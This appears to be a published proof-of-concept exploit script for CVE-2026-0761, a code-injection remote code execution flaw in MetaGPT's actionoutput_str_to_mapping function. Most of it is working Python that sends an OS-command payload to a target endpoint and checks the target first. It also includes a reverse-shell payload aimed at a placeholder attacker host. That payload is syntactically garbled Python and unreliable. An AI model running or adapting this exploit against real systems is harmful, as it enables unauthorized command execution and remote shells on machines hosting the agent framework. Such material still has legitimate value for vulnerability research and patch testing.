CVE-2026-0761 MetaGPT actionoutput_str_to_mapping 远程代码执行漏洞

import requests import json # CVE-2026-0761 PoC - MetaGPT actionoutput_str_to_mapping RCE # Target: Foundation Agents MetaGPT # Vulnerability: Code injection via actionoutput_str_to_mapping function TARGET_URL = "http://target-server:8080/api/execute_action" def exploit_cve_2026_0761(target_url): """ Exploit for CVE-2026-0761 This PoC demonstrates how to inject arbitrary Python code through the vulnerable actionoutput_str_to_mapping function. """ # Malicious payload that executes system command # The payload leverages Python's __import__ and os.system malicious_payload = "__import__('os').system('whoami')" # Alternative payload for reverse shell reverse_shell_payload = "__import__('socket').socket().__import__('subprocess').call(['/bin/bash','-i','&','/dev/tcp/attacker_ip/4444','0>&1'])" # Construct the exploit request exploit_data = { "action": "output_str_to_mapping", "input_data": malicious_payload, "agent_id": "test_agent" } try: response = requests.post( target_url, json=exploit_data, timeout=10, verify=False ) print(f"[*] Request sent to {target_url}") print(f"[*] Status code: {response.status_code}") print(f"[*] Response: {response.text}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-0761 """ test_payload = "__import__('sys').version" exploit_data = { "action": "output_str_to_mapping", "input_data": test_payload } try: response = requests.post( target_url, json=exploit_data, timeout=10 ) if response.status_code == 200 and "python" in response.text.lower(): print("[+] Target appears to be vulnerable!") return True except: pass return False if __name__ == "__main__": print("CVE-2026-0761 MetaGPT RCE Exploit") print("=" * 50) # First check if target is vulnerable if check_vulnerability(TARGET_URL): print("[+] Launching exploit...") exploit_cve_2026_0761(TARGET_URL) else: print("[-] Target may not be vulnerable or is unreachable")